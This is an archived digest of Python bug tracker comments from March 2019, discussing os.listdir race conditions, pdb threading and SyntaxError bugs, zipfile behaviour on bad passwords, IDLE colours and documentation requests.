Date: Sat, 09 Mar 2019 01:46:41 +0000
Subject: [issue36243] Python os.listdir fails with FileNotFoundError when
 directory exists
In-Reply-To: <1552065778.9.0.101043375175.issue36243@roundup.psfhosted.org>
Message-ID: <1552096001.95.0.901546862718.issue36243@roundup.psfhosted.org>


Steven D'Aprano <steve+python at pearwood.info> added the comment:

> How can this happen?

Easily -- this looks like a "Time Of Check To Time Of Use" bug. You check for the existence of a directory, and then a fraction of a second later you attempt to use that directory. But on a multi-processing operating system like Windows, Mac or Linux, a lot can happen in that fraction of a second, including the directory being deleted by another process.

https://en.wikipedia.org/wiki/Time_of_check_to_time_of_use

I'm not saying that this absolutely cannot be a bug in Python, but the initial indication is that this is simply a TOCTTOU bug in your code.

Unfortunately, your code is unrunnable by us, as it if full of mysterious objects like "shouter.shout" which we have no access too.

In addition, there's a problem that "handle_empty_directories" calls itself recursively as if it were a method of some "Commiter" object:

Commiter.handle_empty_directories

but it has no "self" parameter, so I don't know what is going on there.

For us to investigate further, you need to replicate the error using much simple code that we can run ourselves.

Please read http://www.sscce.org/ for some hints in producing short, self-contained, runnable code so that we can replicate this error.

In the meantime, I'm going to change this to Pending. When you have replicated this with simpler code, please feel free to change the status back to Open.

----------
nosy: +steven.daprano
status: open -> pending

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36243>
_______________________________________

From report at bugs.python.org  Fri Mar  8 22:52:50 2019
From: report at bugs.python.org (Eryk Sun)
Date: Sat, 09 Mar 2019 03:52:50 +0000
Subject: [issue36244] Lock release fails under windows
In-Reply-To: <1552075460.88.0.0526115232033.issue36244@roundup.psfhosted.org>
Message-ID: <1552103570.77.0.141722115808.issue36244@roundup.psfhosted.org>


Eryk Sun <eryksun at gmail.com> added the comment:

If you're using a virtual environment, then this is most likely a duplicate of issue 35797.

----------
nosy: +eryksun

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36244>
_______________________________________

From report at bugs.python.org  Sat Mar  9 00:42:55 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 09 Mar 2019 05:42:55 +0000
Subject: [issue36229] Linear-time ops for some mutable collections.
In-Reply-To: <1551994791.27.0.137413280424.issue36229@roundup.psfhosted.org>
Message-ID: <1552110175.76.0.190927756973.issue36229@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
nosy: +rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36229>
_______________________________________

From report at bugs.python.org  Sat Mar  9 00:47:17 2019
From: report at bugs.python.org (Eric Snow)
Date: Sat, 09 Mar 2019 05:47:17 +0000
Subject: [issue33608] Add a cross-interpreter-safe mechanism to indicate that
 an object may be destroyed.
In-Reply-To: <1527017681.69.0.682650639539.issue33608@psf.upfronthosting.co.za>
Message-ID: <1552110437.11.0.146370362622.issue33608@roundup.psfhosted.org>


Eric Snow <ericsnowcurrently at gmail.com> added the comment:


New changeset 5be45a6105d656c551adeee7770afdc3b806fbb5 by Eric Snow in branch 'master':
bpo-33608: Minor cleanup related to pending calls. (gh-12247)
https://github.com/python/cpython/commit/5be45a6105d656c551adeee7770afdc3b806fbb5


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33608>
_______________________________________

From report at bugs.python.org  Sat Mar  9 01:08:01 2019
From: report at bugs.python.org (Stefan Seefeld)
Date: Sat, 09 Mar 2019 06:08:01 +0000
Subject: [issue35830] building multiple (binary) packages from a single project
In-Reply-To: <1548464133.32.0.379789250574.issue35830@roundup.psfhosted.org>
Message-ID: <1552111681.11.0.631895484555.issue35830@roundup.psfhosted.org>


Change by Stefan Seefeld <stefan at seefeld.name>:


----------
resolution:  -> works for me
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35830>
_______________________________________

From report at bugs.python.org  Sat Mar  9 01:24:24 2019
From: report at bugs.python.org (Windson Yang)
Date: Sat, 09 Mar 2019 06:24:24 +0000
Subject: [issue36248] document about `or`, `and` operator.
Message-ID: <1552112664.77.0.64046371975.issue36248@roundup.psfhosted.org>


New submission from Windson Yang <wiwindson at outlook.com>:

I think we should document the behavior as below, (maybe at https://docs.python.org/3/reference/expressions.html#operator-precedence)

>>> 1 or 0 and 3
1
>>> 0 or 1 and 3
3

Please correct me if we already document it.

----------
assignee: docs at python
components: Documentation
messages: 337555
nosy: Windson Yang, docs at python
priority: normal
severity: normal
status: open
title: document about `or`, `and` operator.
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36248>
_______________________________________

From report at bugs.python.org  Sat Mar  9 01:30:11 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 09 Mar 2019 06:30:11 +0000
Subject: [issue36248] document about `or`, `and` operator.
In-Reply-To: <1552112664.77.0.64046371975.issue36248@roundup.psfhosted.org>
Message-ID: <1552113011.16.0.595285777788.issue36248@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

It is already documented. Just follow the link from "or" or "and".

https://docs.python.org/3/reference/expressions.html

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36248>
_______________________________________

From report at bugs.python.org  Sat Mar  9 01:44:37 2019
From: report at bugs.python.org (Eric Snow)
Date: Sat, 09 Mar 2019 06:44:37 +0000
Subject: [issue33608] Add a cross-interpreter-safe mechanism to indicate that
 an object may be destroyed.
In-Reply-To: <1527017681.69.0.682650639539.issue33608@psf.upfronthosting.co.za>
Message-ID: <1552113877.72.0.224648058032.issue33608@roundup.psfhosted.org>


Eric Snow <ericsnowcurrently at gmail.com> added the comment:


New changeset 8479a3426eb7d1840473f7788e639954363ed37e by Eric Snow in branch 'master':
bpo-33608: Make sure locks in the runtime are properly re-created.  (gh-12245)
https://github.com/python/cpython/commit/8479a3426eb7d1840473f7788e639954363ed37e


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33608>
_______________________________________

From report at bugs.python.org  Sat Mar  9 01:50:16 2019
From: report at bugs.python.org (Steven D'Aprano)
Date: Sat, 09 Mar 2019 06:50:16 +0000
Subject: [issue36248] document about `or`, `and` operator.
In-Reply-To: <1552112664.77.0.64046371975.issue36248@roundup.psfhosted.org>
Message-ID: <1552114216.6.0.142096732596.issue36248@roundup.psfhosted.org>


Steven D'Aprano <steve+python at pearwood.info> added the comment:

Document *what* about the behaviour shown?

I'm sure you don't mean to say that we should document the fact the *literally* `1 or 0 and 3` returns 1, but I don't know what you think we should document beyond what is already stated in the existing docs.

It might be obvious to you, but it isn't obvious to me.

----------
nosy: +steven.daprano

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36248>
_______________________________________

From report at bugs.python.org  Sat Mar  9 02:06:51 2019
From: report at bugs.python.org (Geoff Alexander)
Date: Sat, 09 Mar 2019 07:06:51 +0000
Subject: [issue36243] Python os.listdir fails with FileNotFoundError when
 directory exists
In-Reply-To: <1552065778.9.0.101043375175.issue36243@roundup.psfhosted.org>
Message-ID: <1552115211.7.0.710450689695.issue36243@roundup.psfhosted.org>


Geoff Alexander <gdlxn at us.ibm.com> added the comment:

This problem does not appear to be a race condition ("Time Of Check To Time Of Use" bug) in my case as the directory in question exists both before and after the os.listdir call.

I got a workaround saying to wrap the os.listdir call in try/except in my Stack Overflow question at https://stackoverflow.com/questions/55067904/python-os-listdir-fails-with-filenotfounderror-when-directory-exists.  This worked as no longer got any spurious FileNotFound exceptions.

I realize that the code snippet I gave is not runnable.  I'll look to put together a small example illustrating the problem and add to the issue.

----------
status: pending -> open

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36243>
_______________________________________

From report at bugs.python.org  Sat Mar  9 02:10:25 2019
From: report at bugs.python.org (Akash Shende)
Date: Sat, 09 Mar 2019 07:10:25 +0000
Subject: [issue36249] f-string should be the default placeholder
Message-ID: <1552115425.63.0.499899364573.issue36249@roundup.psfhosted.org>


New submission from Akash Shende <akash0x53s at gmail.com>:

Currently lot of code still uses old placeholder and .format() methods for formatting the string. Lets convert them all to f-string

"%s" % (name) => f'{name}'
"{name}".format(name="yoyo") = > f'{name}'

----------
components: Library (Lib)
messages: 337560
nosy: akash0x53
priority: normal
severity: normal
status: open
title: f-string should be the default placeholder

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36249>
_______________________________________

From report at bugs.python.org  Sat Mar  9 02:16:42 2019
From: report at bugs.python.org (Akash Shende)
Date: Sat, 09 Mar 2019 07:16:42 +0000
Subject: [issue36249] f-string should be the default placeholder
In-Reply-To: <1552115425.63.0.499899364573.issue36249@roundup.psfhosted.org>
Message-ID: <1552115802.62.0.663770819033.issue36249@roundup.psfhosted.org>


Change by Akash Shende <akash0x53s at gmail.com>:


----------
keywords: +patch
pull_requests: +12237
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36249>
_______________________________________

From report at bugs.python.org  Sat Mar  9 02:20:41 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sat, 09 Mar 2019 07:20:41 +0000
Subject: [issue36249] f-string should be the default placeholder
In-Reply-To: <1552115425.63.0.499899364573.issue36249@roundup.psfhosted.org>
Message-ID: <1552116041.81.0.931656361844.issue36249@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

New code might use f-strings as needed but refactoring old code just for f-strings could result in large change that pollutes git history. Generally large refactorings like this are rejected like making all code PEP 8 compatible is another example. If there is a case by case basis with adequate benchmark and reason then it might have a chance to be accepted by the module author.

Thanks

----------
nosy: +xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36249>
_______________________________________

From report at bugs.python.org  Sat Mar  9 02:22:39 2019
From: report at bugs.python.org (Geoff Alexander)
Date: Sat, 09 Mar 2019 07:22:39 +0000
Subject: [issue36243] Python os.listdir fails with FileNotFoundError when
 directory exists
In-Reply-To: <1552065778.9.0.101043375175.issue36243@roundup.psfhosted.org>
Message-ID: <1552116159.05.0.822380925016.issue36243@roundup.psfhosted.org>


Change by Geoff Alexander <gdlxn at us.ibm.com>:


----------
status: open -> pending

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36243>
_______________________________________

From report at bugs.python.org  Sat Mar  9 02:30:16 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sat, 09 Mar 2019 07:30:16 +0000
Subject: [issue36247] zipfile - extract truncates (existing) file when bad
 password provided (zip encryption weakness)
In-Reply-To: <1552085810.83.0.29138554052.issue36247@roundup.psfhosted.org>
Message-ID: <1552116616.05.0.592539138837.issue36247@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +alanmcintyre, serhiy.storchaka, twouters

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36247>
_______________________________________

From report at bugs.python.org  Sat Mar  9 02:31:44 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 09 Mar 2019 07:31:44 +0000
Subject: [issue36249] f-string should be the default placeholder
In-Reply-To: <1552115425.63.0.499899364573.issue36249@roundup.psfhosted.org>
Message-ID: <1552116704.62.0.710707461357.issue36249@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
resolution:  -> rejected
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36249>
_______________________________________

From report at bugs.python.org  Sat Mar  9 03:27:38 2019
From: report at bugs.python.org (Dmitrii Pasechnik)
Date: Sat, 09 Mar 2019 08:27:38 +0000
Subject: [issue34956] _tkinter built on macOS 10.14 does not link to Tcl and
 Tk in /Library/Frameworks
In-Reply-To: <1539228548.05.0.788709270274.issue34956@psf.upfronthosting.co.za>
Message-ID: <1552120058.4.0.766285889335.issue34956@roundup.psfhosted.org>


Dmitrii Pasechnik <dimpase at gmail.com> added the comment:

On https://bugs.python.org/issue36231 I propose a way to build without creating any symlinks.

----------
nosy: +dimpase

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34956>
_______________________________________

From report at bugs.python.org  Sat Mar  9 03:51:56 2019
From: report at bugs.python.org (Open Close)
Date: Sat, 09 Mar 2019 08:51:56 +0000
Subject: [issue35998] test_asyncio: test_start_tls_server_1() TimeoutError on
 Fedora 29
In-Reply-To: <1550225538.04.0.738886867119.issue35998@roundup.psfhosted.org>
Message-ID: <1552121516.44.0.307311956951.issue35998@roundup.psfhosted.org>


Open Close <openandclose23 at gmail.com> added the comment:

I updated my PC (OpenSSL 1.1.1b).
the same TimeoutError as before.

$ ./python -m test.pythoninfo | grep ssl
ssl.HAS_SNI: True
ssl.OPENSSL_VERSION: OpenSSL 1.1.1b  26 Feb 2019
ssl.OPENSSL_VERSION_INFO: (1, 1, 1, 2, 15)
ssl.OP_ALL: 0x80000054
ssl.OP_NO_TLSv1_1: 0x10000000

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35998>
_______________________________________

From report at bugs.python.org  Sat Mar  9 04:06:11 2019
From: report at bugs.python.org (Windson Yang)
Date: Sat, 09 Mar 2019 09:06:11 +0000
Subject: [issue36248] document about `or`, `and` operator.
In-Reply-To: <1552112664.77.0.64046371975.issue36248@roundup.psfhosted.org>
Message-ID: <1552122371.21.0.960455224145.issue36248@roundup.psfhosted.org>


Windson Yang <wiwindson at outlook.com> added the comment:

Thank you Serhiy, we did document here: 

> The expression x and y first evaluates x; if x is false, its value is returned; otherwise, y is evaluated and the resulting value is returned.

> The expression x or y first evaluates x; if x is true, its value is returned; otherwise, y is evaluated and the resulting value is returned.

Sorry, Steven. I should make it clear. I think the output of the example(1, 3) depends on the input order of number(1 or 0, 0 or 1) is not an expected behavior to me. Maybe we can add an example/note in the document. 

"Sometimes this will cause unexpected behavior when you put `or` and `and` together..."

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36248>
_______________________________________

From report at bugs.python.org  Sat Mar  9 04:27:45 2019
From: report at bugs.python.org (SilentGhost)
Date: Sat, 09 Mar 2019 09:27:45 +0000
Subject: [issue36248] document about `or`, `and` operator.
In-Reply-To: <1552112664.77.0.64046371975.issue36248@roundup.psfhosted.org>
Message-ID: <1552123665.91.0.519186690818.issue36248@roundup.psfhosted.org>


SilentGhost <ghost.adh at runbox.com> added the comment:

Windson, it still is not clear what exactly you find unexpected in view of supplied links:

1 or 0 and 3
or has higher precedence than and, therefore it's evaluated first. It's first argument (1) is truthy, therefore it's returned. End of comparison.

0 or 1 and 3
starts the same, but now the second argument (1 and 3) needs evaluating and its return value (3) will be the end result. End of comparison.

I certainly think the suggested wording is a no go.

----------
nosy: +SilentGhost

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36248>
_______________________________________

From report at bugs.python.org  Sat Mar  9 04:49:04 2019
From: report at bugs.python.org (Jeremy Kloth)
Date: Sat, 09 Mar 2019 09:49:04 +0000
Subject: [issue36216] urlsplit does not handle NFKC normalization
In-Reply-To: <1551893840.49.0.433864450493.issue36216@roundup.psfhosted.org>
Message-ID: <1552124944.76.0.155143531892.issue36216@roundup.psfhosted.org>


Jeremy Kloth <jeremy.kloth+python-tracker at gmail.com> added the comment:

A missed print statement in the 2.7 patch is causing the tests to fail.

Line 647 of Lib/test/test_urlparse.py

----------
nosy: +jkloth

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36216>
_______________________________________

From report at bugs.python.org  Sat Mar  9 04:50:28 2019
From: report at bugs.python.org (Julien Palard)
Date: Sat, 09 Mar 2019 09:50:28 +0000
Subject: [issue36029] Use title-case HTTP header fields
In-Reply-To: <1550529210.49.0.526576386821.issue36029@roundup.psfhosted.org>
Message-ID: <1552125028.51.0.387817830811.issue36029@roundup.psfhosted.org>


Julien Palard <julien+python at palard.fr> added the comment:

Closing as "not a bug" as discussed in the PR.

Anyway thanks G?ry for the work on this, even if not merged it's appreciated!

----------
resolution:  -> not a bug
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36029>
_______________________________________

From report at bugs.python.org  Sat Mar  9 04:55:27 2019
From: report at bugs.python.org (Windson Yang)
Date: Sat, 09 Mar 2019 09:55:27 +0000
Subject: [issue36248] document about `or`, `and` operator.
In-Reply-To: <1552112664.77.0.64046371975.issue36248@roundup.psfhosted.org>
Message-ID: <1552125327.9.0.793424242678.issue36248@roundup.psfhosted.org>


Windson Yang <wiwindson at outlook.com> added the comment:

SilentGhost, I think you give a great example to explain this behavior. If the behavior is obvious to you, we can close this issue.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36248>
_______________________________________

From report at bugs.python.org  Sat Mar  9 05:13:37 2019
From: report at bugs.python.org (Larry Hastings)
Date: Sat, 09 Mar 2019 10:13:37 +0000
Subject: [issue35746] [ssl][CVE-2019-5010] TALOS-2018-0758 Denial of Service
In-Reply-To: <1547569468.87.0.514647021744.issue35746@roundup.psfhosted.org>
Message-ID: <1552126417.6.0.597265142961.issue35746@roundup.psfhosted.org>


Larry Hastings <larry at hastings.org> added the comment:

Can we close this now?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35746>
_______________________________________

From report at bugs.python.org  Sat Mar  9 06:24:14 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 09 Mar 2019 11:24:14 +0000
Subject: [issue36247] zipfile - extract truncates (existing) file when bad
 password provided (zip encryption weakness)
In-Reply-To: <1552085810.83.0.29138554052.issue36247@roundup.psfhosted.org>
Message-ID: <1552130654.96.0.869628000353.issue36247@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

When you pass an incorrect password, it is not possible to guarantee that you will get an exception and the destination file will be kept unchanged. It is possible that you will get an incorrectly deciphered file without noticing.

I do not think that the zipfile code needs to be changed. If you want to keep the content of the target file in case of error, just extract the file into other place.

----------
resolution:  -> not a bug

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36247>
_______________________________________

From report at bugs.python.org  Sat Mar  9 06:33:10 2019
From: report at bugs.python.org (SilentGhost)
Date: Sat, 09 Mar 2019 11:33:10 +0000
Subject: [issue36248] document about `or`, `and` operator.
In-Reply-To: <1552112664.77.0.64046371975.issue36248@roundup.psfhosted.org>
Message-ID: <1552131190.06.0.915112475954.issue36248@roundup.psfhosted.org>


Change by SilentGhost <ghost.adh at runbox.com>:


----------
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36248>
_______________________________________

From report at bugs.python.org  Sat Mar  9 09:07:16 2019
From: report at bugs.python.org (daniel hahler)
Date: Sat, 09 Mar 2019 14:07:16 +0000
Subject: [issue13120] Default nosigint option to pdb.Pdb() prevents use in
 non-main thread
In-Reply-To: <1317935848.16.0.589862913408.issue13120@psf.upfronthosting.co.za>
Message-ID: <1552140436.33.0.091891056088.issue13120@roundup.psfhosted.org>


Change by daniel hahler <python-bugs at thequod.de>:


----------
pull_requests: +12238

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue13120>
_______________________________________

From report at bugs.python.org  Sat Mar  9 09:13:45 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Sat, 09 Mar 2019 14:13:45 +0000
Subject: [issue36176] Fix IDLE Autocomplete / Calltip Window Colors
In-Reply-To: <1551669431.81.0.580899841799.issue36176@roundup.psfhosted.org>
Message-ID: <1552140825.16.0.0574765489376.issue36176@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

I didn't see an issue with a Gnome, so I installed KDE Plasma and switched to the dark theme.  I was able to recreate the issue for autocomplete.  When I tried 'open file', I also saw it there and I've attached a screen print showing how it looks on 'open file'.

Removing the 'bg=white' in autocomplete_w.py fixes the issue by changing  it to a gray background with the almost white text.  Of course that doesn't affect the 'open file' window.

I've also attached a screen print of what the search dialog looks like.

----------
Added file: https://bugs.python.org/file48200/kdedarktheme.png

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36176>
_______________________________________

From report at bugs.python.org  Sat Mar  9 09:14:29 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Sat, 09 Mar 2019 14:14:29 +0000
Subject: [issue36176] Fix IDLE Autocomplete / Calltip Window Colors
In-Reply-To: <1551669431.81.0.580899841799.issue36176@roundup.psfhosted.org>
Message-ID: <1552140869.66.0.0657778315304.issue36176@roundup.psfhosted.org>


Change by Cheryl Sabella <cheryl.sabella at gmail.com>:


Added file: https://bugs.python.org/file48201/searchdialogdark.png

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36176>
_______________________________________

From report at bugs.python.org  Sat Mar  9 09:23:45 2019
From: report at bugs.python.org (daniel hahler)
Date: Sat, 09 Mar 2019 14:23:45 +0000
Subject: [issue36250] pdb: interaction might cause "ValueError: signal only
 works in main thread"
Message-ID: <1552141425.82.0.352633065246.issue36250@roundup.psfhosted.org>


New submission from daniel hahler <python-bugs at thequod.de>:

This is similar to https://bugs.python.org/issue13120.

I have a patch for a fix already, but no test - will add a PR for it.


Fixed in pdbpp in https://github.com/antocuni/pdb/pull/143, which also has a test that demonstrates it.

----------
components: Library (Lib)
messages: 337572
nosy: blueyed
priority: normal
severity: normal
status: open
title: pdb: interaction might cause "ValueError: signal only works in main thread"
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36250>
_______________________________________

From report at bugs.python.org  Sat Mar  9 10:05:39 2019
From: report at bugs.python.org (daniel hahler)
Date: Sat, 09 Mar 2019 15:05:39 +0000
Subject: [issue36250] pdb: interaction might cause "ValueError: signal only
 works in main thread"
In-Reply-To: <1552141425.82.0.352633065246.issue36250@roundup.psfhosted.org>
Message-ID: <1552143939.59.0.116293478328.issue36250@roundup.psfhosted.org>


Change by daniel hahler <python-bugs at thequod.de>:


----------
keywords: +patch
pull_requests: +12239
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36250>
_______________________________________

From report at bugs.python.org  Sat Mar  9 10:07:09 2019
From: report at bugs.python.org (daniel hahler)
Date: Sat, 09 Mar 2019 15:07:09 +0000
Subject: [issue13120] Default nosigint option to pdb.Pdb() prevents use in
 non-main thread
In-Reply-To: <1317935848.16.0.589862913408.issue13120@psf.upfronthosting.co.za>
Message-ID: <1552144029.37.0.302690506135.issue13120@roundup.psfhosted.org>


daniel hahler <python-bugs at thequod.de> added the comment:

Just for reference: there is a similar issue with `interaction`: https://bugs.python.org/issue36250.

----------
nosy: +blueyed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue13120>
_______________________________________

From report at bugs.python.org  Sat Mar  9 11:53:01 2019
From: report at bugs.python.org (Stephan Hohe)
Date: Sat, 09 Mar 2019 16:53:01 +0000
Subject: [issue36251] Invalid format specifiers in MatchObject and StdPrinter
 repr
Message-ID: <1552150381.87.0.0740506040355.issue36251@roundup.psfhosted.org>


New submission from Stephan Hohe <sth.dev at tejp.de>:

match_repr() and stdprinter_repr() contain calls to PyUnicode_FromFormat() with format specifiers that don't match the arguments.

See the upcoming pull request for details.

----------
components: Interpreter Core, Regular Expressions
messages: 337574
nosy: ezio.melotti, mrabarnett, sth
priority: normal
severity: normal
status: open
title: Invalid format specifiers in MatchObject and StdPrinter repr
versions: Python 3.4, Python 3.5, Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36251>
_______________________________________

From report at bugs.python.org  Sat Mar  9 11:54:13 2019
From: report at bugs.python.org (Stephan Hohe)
Date: Sat, 09 Mar 2019 16:54:13 +0000
Subject: [issue36251] Invalid format specifiers in MatchObject and StdPrinter
 repr
In-Reply-To: <1552150381.87.0.0740506040355.issue36251@roundup.psfhosted.org>
Message-ID: <1552150453.33.0.916250037455.issue36251@roundup.psfhosted.org>


Change by Stephan Hohe <sth.dev at tejp.de>:


----------
keywords: +patch
pull_requests: +12240
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36251>
_______________________________________

From report at bugs.python.org  Sat Mar  9 12:29:19 2019
From: report at bugs.python.org (daniel hahler)
Date: Sat, 09 Mar 2019 17:29:19 +0000
Subject: [issue35931] pdb: "debug print(" crashes with SyntaxError
In-Reply-To: <1549555371.45.0.73616044825.issue35931@roundup.psfhosted.org>
Message-ID: <1552152559.3.0.787713181688.issue35931@roundup.psfhosted.org>


daniel hahler <python-bugs at thequod.de> added the comment:

Bumping.

The first (merged) patch is not sufficient, and causes even an API breakage, because it disallows passing in a code object (via compile()) anymore.

A better fix is waiting at https://github.com/python/cpython/pull/12103, and should also get backported to for 3.7.3 then (or the first backport being reverted).

----------
resolution: fixed -> 

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35931>
_______________________________________

From report at bugs.python.org  Sat Mar  9 12:32:00 2019
From: report at bugs.python.org (Ned Deily)
Date: Sat, 09 Mar 2019 17:32:00 +0000
Subject: [issue35931] pdb: "debug print(" crashes with SyntaxError
In-Reply-To: <1549555371.45.0.73616044825.issue35931@roundup.psfhosted.org>
Message-ID: <1552152720.61.0.233441145192.issue35931@roundup.psfhosted.org>


Change by Ned Deily <nad at python.org>:


----------
nosy: +lukasz.langa, ned.deily
priority: normal -> release blocker

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35931>
_______________________________________

From report at bugs.python.org  Sat Mar  9 12:40:37 2019
From: report at bugs.python.org (daniel hahler)
Date: Sat, 09 Mar 2019 17:40:37 +0000
Subject: [issue35931] pdb: "debug print(" crashes with SyntaxError
In-Reply-To: <1549555371.45.0.73616044825.issue35931@roundup.psfhosted.org>
Message-ID: <1552153237.01.0.735306664078.issue35931@roundup.psfhosted.org>


daniel hahler <python-bugs at thequod.de> added the comment:

Example of the API breakage:

```
/opt/python/3.8-dev/lib/python3.8/pdb.py:321: in _cmdloop
    self.cmdloop()
/opt/python/3.8-dev/lib/python3.8/cmd.py:138: in cmdloop
    stop = self.onecmd(line)
/opt/python/3.8-dev/lib/python3.8/pdb.py:418: in onecmd
    return cmd.Cmd.onecmd(self, line)
/opt/python/3.8-dev/lib/python3.8/cmd.py:217: in onecmd
    return func(arg)
pdb.py:699: in do_debug
    return orig_do_debug(self, cmd)
/opt/python/3.8-dev/lib/python3.8/pdb.py:1097: in do_debug
    code = compile(arg, "<string>", "exec")
E   TypeError: compile() arg 1 must be a string, bytes or AST object
```

(via https://travis-ci.org/antocuni/pdb/jobs/504061679#L367)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35931>
_______________________________________

From report at bugs.python.org  Sat Mar  9 14:18:26 2019
From: report at bugs.python.org (Benjamin Peterson)
Date: Sat, 09 Mar 2019 19:18:26 +0000
Subject: [issue36241] MD5 checksum is not valid for v2.7.16 "Windows x86-64
 MSI installer"
In-Reply-To: <1552061646.64.0.483486788425.issue36241@roundup.psfhosted.org>
Message-ID: <1552159106.49.0.670429905163.issue36241@roundup.psfhosted.org>


Benjamin Peterson <benjamin at python.org> added the comment:

I think everything is correct now?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36241>
_______________________________________

From report at bugs.python.org  Sat Mar  9 14:34:02 2019
From: report at bugs.python.org (SilentGhost)
Date: Sat, 09 Mar 2019 19:34:02 +0000
Subject: [issue36241] MD5 checksum is not valid for v2.7.16 "Windows x86-64
 MSI installer"
In-Reply-To: <1552061646.64.0.483486788425.issue36241@roundup.psfhosted.org>
Message-ID: <1552160042.34.0.0113642168059.issue36241@roundup.psfhosted.org>


SilentGhost <ghost.adh at runbox.com> added the comment:

I still see 2fe86194bb4027be75b29852027f1a79 as checksum

----------
nosy: +SilentGhost

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36241>
_______________________________________

From report at bugs.python.org  Sat Mar  9 14:34:40 2019
From: report at bugs.python.org (=?utf-8?b?0JzQsNGA0LDRgiDQndCw0LPQsNC10LI=?=)
Date: Sat, 09 Mar 2019 19:34:40 +0000
Subject: [issue36228] Support coercion of complex to float/int
In-Reply-To: <1551990077.56.0.757483742066.issue36228@roundup.psfhosted.org>
Message-ID: <1552160080.86.0.189750893205.issue36228@roundup.psfhosted.org>


????? ?????? <sidorovmarat1995 at gmail.com> added the comment:

Can I implement this methods?
@tim.peters

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36228>
_______________________________________

From report at bugs.python.org  Sat Mar  9 14:48:55 2019
From: report at bugs.python.org (Benjamin Peterson)
Date: Sat, 09 Mar 2019 19:48:55 +0000
Subject: [issue36241] MD5 checksum is not valid for v2.7.16 "Windows x86-64
 MSI installer"
In-Reply-To: <1552061646.64.0.483486788425.issue36241@roundup.psfhosted.org>
Message-ID: <1552160935.23.0.809795383845.issue36241@roundup.psfhosted.org>


Benjamin Peterson <benjamin at python.org> added the comment:

That's correct.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36241>
_______________________________________

From report at bugs.python.org  Sat Mar  9 14:50:28 2019
From: report at bugs.python.org (Konrad Ciecierski)
Date: Sat, 09 Mar 2019 19:50:28 +0000
Subject: [issue36244] Lock release fails under windows
In-Reply-To: <1552075460.88.0.0526115232033.issue36244@roundup.psfhosted.org>
Message-ID: <1552161028.52.0.218711131479.issue36244@roundup.psfhosted.org>


Konrad Ciecierski <konrad.ciecierski at gmail.com> added the comment:

